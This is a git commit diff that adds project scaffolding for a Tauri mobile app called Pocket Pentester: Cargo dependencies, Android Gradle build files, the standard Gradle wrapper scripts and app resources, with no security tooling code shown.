This commit is contained in:
taqin
2026-04-19 21:10:40 +07:00
parent 5fdd214fdc
commit 27381d4e37
211 changed files with 53571 additions and 0 deletions

7
src-tauri/.gitignore vendored Normal file
View File

@@ -0,0 +1,7 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Generated by Tauri
# will have schema files for capabilities auto-completion
/gen/schemas

6321
src-tauri/Cargo.lock generated Normal file

File diff suppressed because it is too large Load Diff

48
src-tauri/Cargo.toml Normal file
View File

@@ -0,0 +1,48 @@
[package]
name = "pocketpentester"
version = "0.1.0"
description = "Mobile pentester toolkit"
authors = ["imtaqin"]
edition = "2021"
[lib]
name = "pocketpentester_lib"
crate-type = ["staticlib", "cdylib", "rlib"]
[build-dependencies]
tauri-build = { version = "2", features = [] }
[dependencies]
tauri = { version = "2", features = [] }
tauri-plugin-opener = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
tokio = { version = "1", features = ["rt-multi-thread", "net", "time", "macros", "sync", "io-util", "fs"] }
walkdir = "2"
local-ip-address = "0.6"
rustls = { version = "0.23", default-features = false, features = ["std", "ring"] }
tokio-rustls = { version = "0.26", default-features = false, features = ["ring"] }
x509-parser = "0.17"
rustls-pki-types = "1"
md5 = "0.7"
futures = "0.3"
reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "gzip", "json", "cookies"] }
hickory-resolver = "0.24"
anyhow = "1"
regex = "1"
once_cell = "1"
url = "2"
base64 = "0.22"
hmac = "0.12"
sha2 = "0.10"
rand = "0.8"
serde_yaml = "0.9"
urlencoding = "2"
[profile.release]
opt-level = "z"
lto = true
codegen-units = 1
strip = true
panic = "abort"

3
src-tauri/build.rs Normal file
View File

@@ -0,0 +1,3 @@
fn main() {
tauri_build::build()
}

View File

@@ -0,0 +1,10 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Capability for the main window",
"windows": ["main"],
"permissions": [
"core:default",
"opener:default"
]
}

View File

@@ -0,0 +1,12 @@
# EditorConfig is awesome: https://EditorConfig.org
# top-most EditorConfig file
root = true
[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = false
insert_final_newline = false

19
src-tauri/gen/android/.gitignore vendored Normal file
View File

@@ -0,0 +1,19 @@
*.iml
.gradle
/local.properties
/.idea/caches
/.idea/libraries
/.idea/modules.xml
/.idea/workspace.xml
/.idea/navEditor.xml
/.idea/assetWizardSettings.xml
.DS_Store
build
/captures
.externalNativeBuild
.cxx
local.properties
key.properties
/.tauri
/tauri.settings.gradle

6
src-tauri/gen/android/app/.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
/src/main/**/generated
/src/main/jniLibs/**/*.so
/src/main/assets/tauri.conf.json
/tauri.build.gradle.kts
/proguard-tauri.pro
/tauri.properties

View File

@@ -0,0 +1,70 @@
import java.util.Properties
plugins {
id("com.android.application")
id("org.jetbrains.kotlin.android")
id("rust")
}
val tauriProperties = Properties().apply {
val propFile = file("tauri.properties")
if (propFile.exists()) {
propFile.inputStream().use { load(it) }
}
}
android {
compileSdk = 36
namespace = "com.imtaqin.pocketpentester"
defaultConfig {
manifestPlaceholders["usesCleartextTraffic"] = "false"
applicationId = "com.imtaqin.pocketpentester"
minSdk = 24
targetSdk = 36
versionCode = tauriProperties.getProperty("tauri.android.versionCode", "1").toInt()
versionName = tauriProperties.getProperty("tauri.android.versionName", "1.0")
}
buildTypes {
getByName("debug") {
manifestPlaceholders["usesCleartextTraffic"] = "true"
isDebuggable = true
isJniDebuggable = true
isMinifyEnabled = false
packaging { jniLibs.keepDebugSymbols.add("*/arm64-v8a/*.so")
jniLibs.keepDebugSymbols.add("*/armeabi-v7a/*.so")
jniLibs.keepDebugSymbols.add("*/x86/*.so")
jniLibs.keepDebugSymbols.add("*/x86_64/*.so")
}
}
getByName("release") {
isMinifyEnabled = true
proguardFiles(
*fileTree(".") { include("**/*.pro") }
.plus(getDefaultProguardFile("proguard-android-optimize.txt"))
.toList().toTypedArray()
)
}
}
kotlinOptions {
jvmTarget = "1.8"
}
buildFeatures {
buildConfig = true
}
}
rust {
rootDirRel = "../../../"
}
dependencies {
implementation("androidx.webkit:webkit:1.14.0")
implementation("androidx.appcompat:appcompat:1.7.1")
implementation("androidx.activity:activity-ktx:1.10.1")
implementation("com.google.android.material:material:1.12.0")
testImplementation("junit:junit:4.13.2")
androidTestImplementation("androidx.test.ext:junit:1.1.4")
androidTestImplementation("androidx.test.espresso:espresso-core:3.5.0")
}
apply(from = "tauri.build.gradle.kts")

View File

@@ -0,0 +1,21 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile

View File

@@ -0,0 +1,37 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<!-- AndroidTV support -->
<uses-feature android:name="android.software.leanback" android:required="false" />
<application
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:theme="@style/Theme.pocketpentester"
android:usesCleartextTraffic="${usesCleartextTraffic}">
<activity
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale|smallestScreenSize|screenLayout|uiMode"
android:launchMode="singleTask"
android:label="@string/main_activity_title"
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<!-- AndroidTV support -->
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
</intent-filter>
</activity>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>
</application>
</manifest>

View File

@@ -0,0 +1,11 @@
package com.imtaqin.pocketpentester
import android.os.Bundle
import androidx.activity.enableEdgeToEdge
class MainActivity : TauriActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
enableEdgeToEdge()
super.onCreate(savedInstanceState)
}
}

View File

@@ -0,0 +1,30 @@
<vector xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:aapt="http://schemas.android.com/aapt"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
<aapt:attr name="android:fillColor">
<gradient
android:endX="85.84757"
android:endY="92.4963"
android:startX="42.9492"
android:startY="49.59793"
android:type="linear">
<item
android:color="#44000000"
android:offset="0.0" />
<item
android:color="#00000000"
android:offset="1.0" />
</gradient>
</aapt:attr>
</path>
<path
android:fillColor="#FFFFFF"
android:fillType="nonZero"
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
android:strokeWidth="1"
android:strokeColor="#00000000" />
</vector>

View File

@@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#3DDC84"
android:pathData="M0,0h108v108h-108z" />
<path
android:fillColor="#00000000"
android:pathData="M9,0L9,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,0L19,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,0L29,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,0L39,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,0L49,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,0L59,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,0L69,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,0L79,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M89,0L89,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M99,0L99,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,9L108,9"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,19L108,19"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,29L108,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,39L108,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,49L108,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,59L108,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,69L108,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,79L108,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,89L108,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,99L108,99"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,29L89,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,39L89,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,49L89,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,59L89,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,69L89,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,79L89,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,19L29,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,19L39,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,19L49,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,19L59,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,19L69,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,19L79,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
</vector>

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@@ -0,0 +1,6 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.pocketpentester" parent="Theme.MaterialComponents.DayNight.NoActionBar">
<!-- Customize your theme here. -->
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="purple_200">#FFBB86FC</color>
<color name="purple_500">#FF6200EE</color>
<color name="purple_700">#FF3700B3</color>
<color name="teal_200">#FF03DAC5</color>
<color name="teal_700">#FF018786</color>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

View File

@@ -0,0 +1,4 @@
<resources>
<string name="app_name">Pocket Pentester</string>
<string name="main_activity_title">Pocket Pentester</string>
</resources>

View File

@@ -0,0 +1,6 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.pocketpentester" parent="Theme.MaterialComponents.DayNight.NoActionBar">
<!-- Customize your theme here. -->
</style>
</resources>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<external-path name="my_images" path="." />
<cache-path name="my_cache_images" path="." />
</paths>

View File

@@ -0,0 +1,22 @@
buildscript {
repositories {
google()
mavenCentral()
}
dependencies {
classpath("com.android.tools.build:gradle:8.11.0")
classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:1.9.25")
}
}
allprojects {
repositories {
google()
mavenCentral()
}
}
tasks.register("clean").configure {
delete("build")
}

View File

@@ -0,0 +1,23 @@
plugins {
`kotlin-dsl`
}
gradlePlugin {
plugins {
create("pluginsForCoolKids") {
id = "rust"
implementationClass = "RustPlugin"
}
}
}
repositories {
google()
mavenCentral()
}
dependencies {
compileOnly(gradleApi())
implementation("com.android.tools.build:gradle:8.11.0")
}

View File

@@ -0,0 +1,68 @@
import java.io.File
import org.apache.tools.ant.taskdefs.condition.Os
import org.gradle.api.DefaultTask
import org.gradle.api.GradleException
import org.gradle.api.logging.LogLevel
import org.gradle.api.tasks.Input
import org.gradle.api.tasks.TaskAction
open class BuildTask : DefaultTask() {
@Input
var rootDirRel: String? = null
@Input
var target: String? = null
@Input
var release: Boolean? = null
@TaskAction
fun assemble() {
val executable = """npm""";
try {
runTauriCli(executable)
} catch (e: Exception) {
if (Os.isFamily(Os.FAMILY_WINDOWS)) {
// Try different Windows-specific extensions
val fallbacks = listOf(
"$executable.exe",
"$executable.cmd",
"$executable.bat",
)
var lastException: Exception = e
for (fallback in fallbacks) {
try {
runTauriCli(fallback)
return
} catch (fallbackException: Exception) {
lastException = fallbackException
}
}
throw lastException
} else {
throw e;
}
}
}
fun runTauriCli(executable: String) {
val rootDirRel = rootDirRel ?: throw GradleException("rootDirRel cannot be null")
val target = target ?: throw GradleException("target cannot be null")
val release = release ?: throw GradleException("release cannot be null")
val args = listOf("run", "--", "tauri", "android", "android-studio-script");
project.exec {
workingDir(File(project.projectDir, rootDirRel))
executable(executable)
args(args)
if (project.logger.isEnabled(LogLevel.DEBUG)) {
args("-vv")
} else if (project.logger.isEnabled(LogLevel.INFO)) {
args("-v")
}
if (release) {
args("--release")
}
args(listOf("--target", target))
}.assertNormalExitValue()
}
}

View File

@@ -0,0 +1,85 @@
import com.android.build.api.dsl.ApplicationExtension
import org.gradle.api.DefaultTask
import org.gradle.api.Plugin
import org.gradle.api.Project
import org.gradle.kotlin.dsl.configure
import org.gradle.kotlin.dsl.get
const val TASK_GROUP = "rust"
open class Config {
lateinit var rootDirRel: String
}
open class RustPlugin : Plugin<Project> {
private lateinit var config: Config
override fun apply(project: Project) = with(project) {
config = extensions.create("rust", Config::class.java)
val defaultAbiList = listOf("arm64-v8a", "armeabi-v7a", "x86", "x86_64");
val abiList = (findProperty("abiList") as? String)?.split(',') ?: defaultAbiList
val defaultArchList = listOf("arm64", "arm", "x86", "x86_64");
val archList = (findProperty("archList") as? String)?.split(',') ?: defaultArchList
val targetsList = (findProperty("targetList") as? String)?.split(',') ?: listOf("aarch64", "armv7", "i686", "x86_64")
extensions.configure<ApplicationExtension> {
@Suppress("UnstableApiUsage")
flavorDimensions.add("abi")
productFlavors {
create("universal") {
dimension = "abi"
ndk {
abiFilters += abiList
}
}
defaultArchList.forEachIndexed { index, arch ->
create(arch) {
dimension = "abi"
ndk {
abiFilters.add(defaultAbiList[index])
}
}
}
}
}
afterEvaluate {
for (profile in listOf("debug", "release")) {
val profileCapitalized = profile.replaceFirstChar { it.uppercase() }
val buildTask = tasks.maybeCreate(
"rustBuildUniversal$profileCapitalized",
DefaultTask::class.java
).apply {
group = TASK_GROUP
description = "Build dynamic library in $profile mode for all targets"
}
tasks["mergeUniversal${profileCapitalized}JniLibFolders"].dependsOn(buildTask)
for (targetPair in targetsList.withIndex()) {
val targetName = targetPair.value
val targetArch = archList[targetPair.index]
val targetArchCapitalized = targetArch.replaceFirstChar { it.uppercase() }
val targetBuildTask = project.tasks.maybeCreate(
"rustBuild$targetArchCapitalized$profileCapitalized",
BuildTask::class.java
).apply {
group = TASK_GROUP
description = "Build dynamic library in $profile mode for $targetArch"
rootDirRel = config.rootDirRel
target = targetName
release = profile == "release"
}
buildTask.dependsOn(targetBuildTask)
tasks["merge$targetArchCapitalized${profileCapitalized}JniLibFolders"].dependsOn(
targetBuildTask
)
}
}
}
}
}

View File

@@ -0,0 +1,24 @@
# Project-wide Gradle settings.
# IDE (e.g. Android Studio) users:
# Gradle settings configured through the IDE *will override*
# any settings specified in this file.
# For more details on how to configure your build environment visit
# http://www.gradle.org/docs/current/userguide/build_environment.html
# Specifies the JVM arguments used for the daemon process.
# The setting is particularly useful for tweaking memory settings.
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
# When configured, Gradle will run in incubating parallel mode.
# This option should only be used with decoupled projects. More details, visit
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
# org.gradle.parallel=true
# AndroidX package structure to make it clearer which packages are bundled with the
# Android operating system, and which are packaged with your app"s APK
# https://developer.android.com/topic/libraries/support-library/androidx-rn
android.useAndroidX=true
# Kotlin code style for this project: "official" or "obsolete":
kotlin.code.style=official
# Enables namespacing of each library's R class so that its R class includes only the
# resources declared in the library itself and none from the library's dependencies,
# thereby reducing the size of the R class for that library
android.nonTransitiveRClass=true
android.nonFinalResIds=false

Binary file not shown.

View File

@@ -0,0 +1,6 @@
#Tue May 10 19:22:52 CST 2022
distributionBase=GRADLE_USER_HOME
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.3-bin.zip
distributionPath=wrapper/dists
zipStorePath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME

185
src-tauri/gen/android/gradlew vendored Normal file
View File

@@ -0,0 +1,185 @@
#!/usr/bin/env sh
#
# Copyright 2015 the original author or authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
##
## Gradle start up script for UN*X
##
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
APP_NAME="Gradle"
APP_BASE_NAME=`basename "$0"`
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD="maximum"
warn () {
echo "$*"
}
die () {
echo
echo "$*"
echo
exit 1
}
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "`uname`" in
CYGWIN* )
cygwin=true
;;
Darwin* )
darwin=true
;;
MINGW* )
msys=true
;;
NONSTOP* )
nonstop=true
;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD="java"
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
MAX_FD_LIMIT=`ulimit -H -n`
if [ $? -eq 0 ] ; then
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
MAX_FD="$MAX_FD_LIMIT"
fi
ulimit -n $MAX_FD
if [ $? -ne 0 ] ; then
warn "Could not set maximum file descriptor limit: $MAX_FD"
fi
else
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
fi
fi
# For Darwin, add options to specify how the application appears in the dock
if $darwin; then
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
fi
# For Cygwin or MSYS, switch paths to Windows format before running java
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
JAVACMD=`cygpath --unix "$JAVACMD"`
# We build the pattern for arguments to be converted via cygpath
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
SEP=""
for dir in $ROOTDIRSRAW ; do
ROOTDIRS="$ROOTDIRS$SEP$dir"
SEP="|"
done
OURCYGPATTERN="(^($ROOTDIRS))"
# Add a user-defined pattern to the cygpath arguments
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
fi
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=`expr $i + 1`
done
case $i in
0) set -- ;;
1) set -- "$args0" ;;
2) set -- "$args0" "$args1" ;;
3) set -- "$args0" "$args1" "$args2" ;;
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
fi
# Escape application args
save () {
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
echo " "
}
APP_ARGS=`save "$@"`
# Collect all arguments for the java command, following the shell quoting and substitution rules
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
exec "$JAVACMD" "$@"

89
src-tauri/gen/android/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,89 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@@ -0,0 +1,3 @@
include ':app'
apply from: 'tauri.settings.gradle'

BIN
src-tauri/icons/128x128.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

BIN
src-tauri/icons/32x32.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

After

